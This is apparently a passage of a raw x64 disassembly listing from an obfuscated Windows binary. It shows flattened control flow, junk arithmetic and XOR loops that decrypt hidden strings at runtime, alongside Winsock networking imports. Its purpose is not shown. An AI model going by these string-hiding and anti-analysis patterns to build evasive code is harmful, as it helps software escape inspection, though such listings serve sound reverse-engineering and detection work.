and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x74
jmp 0x1401964e0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140196f2e
inc rax
cmp r8, rax
je 0x140196f01
lea rax, [r9 + 3]
cmp r8, rax
je 0x140196ed7
lea rax, [r9 + 6]
cmp r8, rax
je 0x140196eb3
lea rax, [r9 + 7]
cmp r8, rax
je 0x140196e90
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x140196b2b
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140196b08
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140196ad8
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140196aaf
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140196a8c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140196a65
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140196a3e
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140196a1b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401969f8
lea rax, [r8 + r9]
cmp rax, 0x80
je 0x140196e61
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140196c3e
movabs rcx, 0x609bb534ec06ff4c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x14
jmp 0x140196920
movabs rcx, 0xc1376a69d80dfe98
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x28
jmp 0x14019705c
movabs rdx, 0xb1757542569c7420
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140197021
movabs rdx, 0xa1b3801ad52ae9a8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14019701e
movabs rdx, 0x91f18af353b95f30
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x50
jmp 0x140196ff5
movabs rcx, 0x822f95cbd247d4b8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 8
dec r11
inc r11
jmp 0x1401963e3
movabs rdx, 0x726da0a450d64a40
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r9
dec r11
inc r11
jmp 0x1401963e3
movabs rdx, 0x62abab7ccf64bfc8
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x78
jmp 0x140196f71
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140196b5f
movabs rdx, 0x87e0fa93c0b8c53c
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14019697c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140196ba5
movabs rdx, 0x4ae91c3d9e505bd8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
movzx eax, byte [rbp + r11 + 0x908]
add rax, r9
add r11, rax
inc r11
jmp 0x1401963e3
inc rax
cmp r8, rax
jne 0x140196bd4
movabs rcx, 0x5aab11651fc1e650
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x30
jmp 0x140197091
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140196c04
movabs rcx, 0x99b2e60325881030
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x140196ff7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14019697c
movabs rdx, 0xa974db2aa6f99aa8
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
dec r11
inc r11
jmp 0x1401963e3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140196c6e
movabs rdx, 0x4327c12dcc81aad8
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x908]
add bl, dl
add bl, r10b
jmp 0x14019705c
movabs rdx, 0x93c242335942f734
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6c
jmp 0x14019705a
movabs rcx, 0x84004d0bd7d16cbc
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x24
jmp 0x140197021
movabs rcx, 0x54ba6d95537ccd54
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x4c
dec r11
inc r11
jmp 0x1401963e3
movabs rcx, 0x44f8786dd20b42dc
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 4
inc r9
dec r11
inc r11
jmp 0x1401963e3
movabs rdx, 0x353683465099b864
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140196f71
movabs rdx, 0x15b298f74db6a374
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x2c
add bl, dl
movabs rdx, 0xab84d1728a575b24
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x908], cl
inc r9
dec r11
inc r11
jmp 0x1401963e3
movabs rdx, 0xf62eaea84ad38e84
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1401963e3
movabs rdx, 0xe66cb980c962040c
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x54
add bl, dl
movabs rcx, 0xbb46c69a0bc8e59c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x44
add cl, r10b
add cl, bl
mov byte [rbp + r11 + 0x908], cl
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1401963e3
mov r10, rdi
movabs rdx, 0xb726da0a450d64a4
add rdx, r11
movzx eax, dl
and al, dil
add al, al
movzx ebx, dil
sub bl, al
sub bl, 0x7c
add bl, dl
movabs rdx, 0xcb08bbc18d3a7014
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x908], al
inc r9
add rax, r9
sub r11, rax
movabs rcx, 0x52e9b6554df33550
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x30
add cl, r10b
mov byte [rbp + r11 + 0x908], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x908]
add rax, r9
add r11, rax
inc r11
jmp 0x1401963e3
movabs rdx, 0x97a2efbb422a4fb4
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, dil
movzx eax, byte [rbp + r11 + 0x908]
add rax, r9
add r11, rax
inc r11
jmp 0x1401963e3
lea rbx, [rbp + 0x1648d58]
jmp 0x140197180
lea rbx, [rbp + 0x9d5294]
jmp 0x140197180
lea rbx, [rbp + 0x908]
lea rdx, [rbp + 0xb50]
lea rcx, [rbp - 0x36]
call fcn.1401647f0
xor edi, edi
cmp byte [rbp + 0xb69], dil
je 0x1401971e2
mov r9d, edi
lea r10, [rbp + 0xb50]
nop dword [rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r9b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x1401971b0
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0x1c70]
call fcn.14013a940
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1c90]
call fcn.140155d40
nop
mov rcx, rax
call fcn.140135dc0
mov rdx, rax
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1010
lea r8, [0x140443e2f]
xor ecx, ecx
call fcn.140145110
nop
lea rcx, [rbp + 0x1c90]
call fcn.140135dd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb50], xmm0
mov qword [rbp + 0xb60], rax
mov word [rbp + 0xb68], ax
lea rcx, [rbp + 0xa68]
call fcn.140135c60
nop
lea rcx, [rbp + 0x1b30]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x18]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x28]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 8]
call fcn.140135dd0
jmp 0x140197368
mov r13b, 1
movzx ebx, byte [rbp + 0x360]
xor edi, edi
jmp 0x14019605f
test al, al
je 0x14019617f
lea rdx, [rbp + 0x2430]
lea rcx, [rbp - 0x35]
call fcn.140164850
cmp byte [rbp + 0x246b], 0
je 0x140197312
mov r8d, edi
lea r9, [rbp + 0x2430]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1401972e0
mov dword [rsp + 0x28], 0x3a98
mov word [rsp + 0x20], di
mov r9d, 0x1040
lea r8, [0x140443e2f]
lea rdx, [rbp + 0x2430]
xor ecx, ecx
call fcn.140145110
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2430], xmm0
movups xmmword [rbp + 0x2440], xmm0
movups xmmword [rbp + 0x2450], xmm0
mov qword [rbp + 0x2460], rax
mov dword [rbp + 0x2468], eax
jmp 0x140197368
xor edi, edi
mov rcx, qword [rbp + 0x20]
call fcn.140135dd0
nop
mov rcx, qword [rbp]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x10]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x68]
call fcn.140135dd0
nop
mov rcx, qword [rbp - 0x80]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x78]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140135dd0
lea rdx, [rbp + 0x858]
lea rcx, [rbp - 0x32]
call fcn.1401a1b80
cmp byte [rbp + 0x868], 0
je 0x14019740f
lea r8, [rbp + 0x858]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, dil
xor byte [r8], cl
inc edi
lea r8, [r8 + 1]
cmp edi, 0x11
jl 0x1401973e0
lea rcx, [rbp + 0x858]
call fcn.14014cf40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x858], xmm0
mov byte [rbp + 0x868], al
jmp 0x1401a1405
mov rcx, qword [rbp + 0x20]
call fcn.140135dd0
nop
mov rcx, qword [rbp]
call fcn.140135dd0
nop
mov rcx, qword [rbp + 0x10]
call fcn.140135dd0
test r15d, r15d
js 0x140197386
mov rcx, r14
call fcn.140135dc0
mov rbx, rax
mov dword [rbp + 0x4efc], edi
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x4f00]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x5100], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5108], xmm0
movups xmmword [rbp + 0x5118], xmm0
mov qword [rbp + 0x5128], rax
movups xmmword [rbp + 0x5130], xmm0
mov dword [rbp + 0x5140], eax
mov dword [rbp + 0x5144], edi
mov qword [rbp + 0x5148], rdi
mov qword [rbp + 0x5150], rdi
mov dword [rbp + 0x5158], edi
mov qword [rbp + 0x5160], rdi
mov qword [rbp + 0x5168], rax
mov dword [rbp + 0x5170], eax
mov dword [rbp + 0x5174], edi
mov dword [rbp + 0x5178], edi
mov dword [rbp + 0x517c], edi
mov word [rbp + 0x5180], di
movups xmmword [rbp + 0x5188], xmm0
movups xmmword [rbp + 0x5198], xmm0
mov qword [rbp + 0x51a8], rax
mov qword [rbp + 0x4ef0], 0xaed0de
mov dword [rbp + 0x4ef8], 6
mov qword [rbp + 0x220], rdi
lea r8, [rbp + 0x220]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp - 8]
call fcn.1401343e0
lea rdx, [rbp + 0x5108]
sub rdx, rbx
movzx ecx, byte [rbx]
mov byte [rbx + rdx], cl
lea rbx, [rbx + 1]
test cl, cl
jne 0x140197541
mov qword [rbp + 0x5130], rax
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x5138], rax
movzx ecx, byte [rbp - 0x54]
mov dword [rbp + 0x5140], ecx
mov eax, dword [0x1404e9e80]
mov dword [rsp + 0x48], eax
lea rax, [rbp + 0x4ef0]
mov qword [rsp + 0x40], rax
mov eax, dword [0x1404e9e0c]
mov dword [rsp + 0x38], eax
mov qword [rsp + 0x30], rdi
mov eax, dword [0x1404e9e70]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, dword [0x1404e9d1c]
call fcn.140163710
test eax, eax
js 0x140197386
mov rcx, r14
call fcn.140135dd0
nop
mov rcx, qword [rbp - 0x80]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x78]
call fcn.140135dd0
nop
mov rcx, qword [rsp + 0x70]
call fcn.140135dd0
lea rdx, [rbp + 0x228]
lea rcx, [rbp - 0x33]
call fcn.1401a1a80
cmp byte [rbp + 0x22f], 0
je 0x140197642
mov r8d, edi
lea r9, [rbp + 0x228]
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140197610
lea rcx, [rbp + 0x228]
call fcn.14014cf40
mov qword [rbp + 0x228], rdi
jmp 0x1401a1405
lea rdx, [0x1404e9e30]
lea rcx, [rbp + 0x1430]
call fcn.14014d3f0
test al, al
jne 0x140197725
lea rdx, [0x1404e9e10]
lea rcx, [rbp + 0x1430]
call fcn.14014d3f0
test al, al
jne 0x140197725
lea rdx, [0x1404e9e90]
lea rcx, [rbp + 0x1430]
call fcn.14014d3f0
test al, al
jne 0x140197725
lea rdx, [rbp + 0x870]
lea rcx, [rbp - 0x31]
call fcn.1401a1b80
cmp byte [rbp + 0x880], 0
je 0x140197702
lea r8, [rbp + 0x870]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r12d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x35
add cl, r12b
xor byte [r8], cl
inc r12d
lea r8, [r8 + 1]
cmp r12d, 0x11
jl 0x1401976d0
lea rcx, [rbp + 0x870]
call fcn.14014cf40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x870], xmm0
mov byte [rbp + 0x880], al
jmp 0x1401a1405
lea rdx, [0x1404e9e90]
lea rcx, [rbp + 0x1430]
call fcn.14014d3f0
test al, al
jne 0x1401a11f5
call fcn.140167390
lea rax, [rbp + 0x1cb0]
mov qword [rbp + 0x5d10], rax
lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x1cb0]
call fcn.140135eb0
mov r14, rax
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x1cd0]
mov qword [rbp + 0x28], rax
lea rdx, [rbp + 0x1450]
lea rcx, [rbp + 0x1cd0]
call fcn.140135eb0
mov r13, rax
mov qword [rbp - 0x10], rax
lea rdx, [rbp + 0x1430]
lea rcx, [rbp + 0x1cf0]
call fcn.140135eb0
mov qword [rbp + 0x28], rax
mov byte [rbp + 0xd39], 0x3f
mov byte [rbp + 0xd3a], 0x22
mov byte [rbp + 0xd3b], 0x26
mov byte [rbp + 0xd3c], 0x7e
mov byte [rbp + 0xd3d], 0x7c
mov byte [rbp + 0xd3e], 0x3a
mov byte [rbp + 0xd3f], 0x62
mov byte [rbp + 0xd40], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0xd41], 0x3a
mov byte [rbp + 0xd42], 0x39
mov byte [rbp + 0xd43], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd44], xmm0
mov word [rbp + 0xd54], ax
movzx r10d, byte [rbp + 0x5d00]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, r12
cmp rbx, 0x1d
jae 0x14019853f
movzx r11d, byte [rbp + rbx + 0xd39]
mov rdx, r11
nop dword [rax]
cmp r8, rbx
ja 0x140198533
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14019787d
movabs rdi, 0x74a23b4f6e30bc9
lea rcx, [rbx + rdi]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x7f
jmp 0x1401978b4
je 0x1401984aa
lea rax, [r9 + 3]
cmp r8, rax
je 0x140198408
lea rax, [r9 + 4]
cmp r8, rax
je 0x14019839f
lea rax, [r9 + 6]
cmp r8, rax
je 0x140198375
movabs rdi, 0x74a23b4f6e30bc9
cmp r9, rbx
ja 0x140198527
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1401978ee
movabs rcx, 0x9914edd8409ff77d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
jmp 0x140197930
lea rax, [r9 + 1]
cmp r8, rax
je 0x140198320
inc rax
cmp r8, rax
je 0x1401982f5
lea rax, [r9 + 3]
cmp r8, rax
je 0x1401982d0
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401982ab
lea rax, [r9 + 7]
cmp r8, rax
je 0x140198287
nop
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140197f09
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x140197ee0
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140197eae
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140197e7f
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140197e59
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140197e30
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140197e07
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140197dde
lea rax, [r9 + 6]
cmp r8, rax
je 0x140197db5
lea rax, [r9 + 3]
cmp r8, rax
je 0x140197d7b
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140197940
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x140198503
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1401984de
lea rax, [r9 + 2]
cmp r8, rax
jb 0x140197b17
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140197af3
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140197acb
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x140197caf
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140197940
movabs rdx, 0xf54163420d476623
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0xb
add r10b, dl
jmp 0x140197930
movabs rcx, 0xe6ad1bd81f814e91
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x1401978b4
movabs rdx, 0xd818d46e31bb36ff
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 7
add r10b, dl
jmp 0x140197836
movabs rcx, 0x3d5aaabfb0d7db5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xd
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x140198256
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140198062
movabs rdx, 0xbcaa821ed419cee5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x43
add r10b, dl
cmp r8, 0x5a
jae 0x140198228
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14019812d
movabs rdx, 0x55bf6ff714b9c662
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x29
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 5
jb 0x140198218
movabs rcx, 0xe78a3a1a5e76b216
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x34]
jmp 0x140198343
movabs rdx, 0x967d931183bfccee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd39]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140197823
movabs rdx, 0x87e94ba795f9b55c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14019845c
movabs rdx, 0x7955043da8339dca
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140198429
movabs rdx, 0x6ac0bcd3ba6d8638
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1401983ef
movabs rdx, 0x5c2c7569cca76ea6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1401983ec
movabs rdx, 0x4d982dffdee15714
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3a
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1401983bf
movabs rdx, 0x3f03e695f11b3f82
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x39
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140197823
movabs rdx, 0x306f9f2c035527f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140197823
movabs rdx, 0x21db57c2158f105e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140198343
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140197f35
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x7f
add r10b, dl
jmp 0x140197cce
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140197f7c
movabs rdx, 0x3229dbb0813feefa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd39]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140197823
inc rax
cmp r8, rax
jne 0x140197fb1
movabs rdx, 0x40be231a6f06068c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14019845c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140197fe7
movabs rdx, 0x4f526a845ccc1e1e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140198429
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140198023
movabs rdx, 0x89a3882c13e47c66
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x1b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140197823
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140197cce
movabs rdx, 0x9837cf9601aa93f8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x1c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140197823
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140198094
movabs rdx, 0xcb3ec988c1dfe677
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x41
jmp 0x140198340
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401980cb
movabs rcx, 0xe867585c9d6c159b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
dec rbx
inc rbx
jmp 0x140197823
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1401980fc
movabs rcx, 0xf6fb9fc68b322d2d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3b
jmp 0x1401983c2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140197d0f
movabs rcx, 0x314cbd6e424a8b75
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x33
jmp 0x14019845c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140198174
movabs rdx, 0x6453b761027fddf4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xd39]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140197823
inc rax
cmp r8, rax
jne 0x1401981a9
movabs rdx, 0x817c4634de0c0d18
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140198429
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401981dc
mov byte [rbp + rbx + 0xd39], r10b
inc rbx
jmp 0x140197823
movabs rdx, 0xf61e81844c3cc9a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0xd39]
add r10b, r11b
jmp 0x1401983bf
movabs rdx, 0x4b2c8ee3a02e13a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, getservbyname
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0xd39]
add r10b, dl
add r10b, r11b
jmp 0x140198429
movabs rcx, 0xdb72927aed0b40d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5b
jmp 0x14019845c
movabs rcx, 0xf08e9a53d34484e9
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5f
jmp 0x1401983ef
movabs rdx, 0xd3660b7ff7b855c5
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x63
jmp 0x1401983bf
movabs rcx, 0xc4d1c41609f23e33
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x65
dec rbx
inc rbx
jmp 0x140197823
movabs rdx, 0xa7a935422e660f0f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x69
add r10b, dl
movabs rcx, 0xeed45dcf5559bddf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x19
add cl, r11b
mov byte [rbp + rbx + 0xd39], cl
inc r9
dec rbx
inc rbx
jmp 0x140197823
movabs rcx, 0x6d58179a774db0c7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x71
dec rbx
inc rbx
jmp 0x140197823
movabs rdx, 0x5ec3d03089879935
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
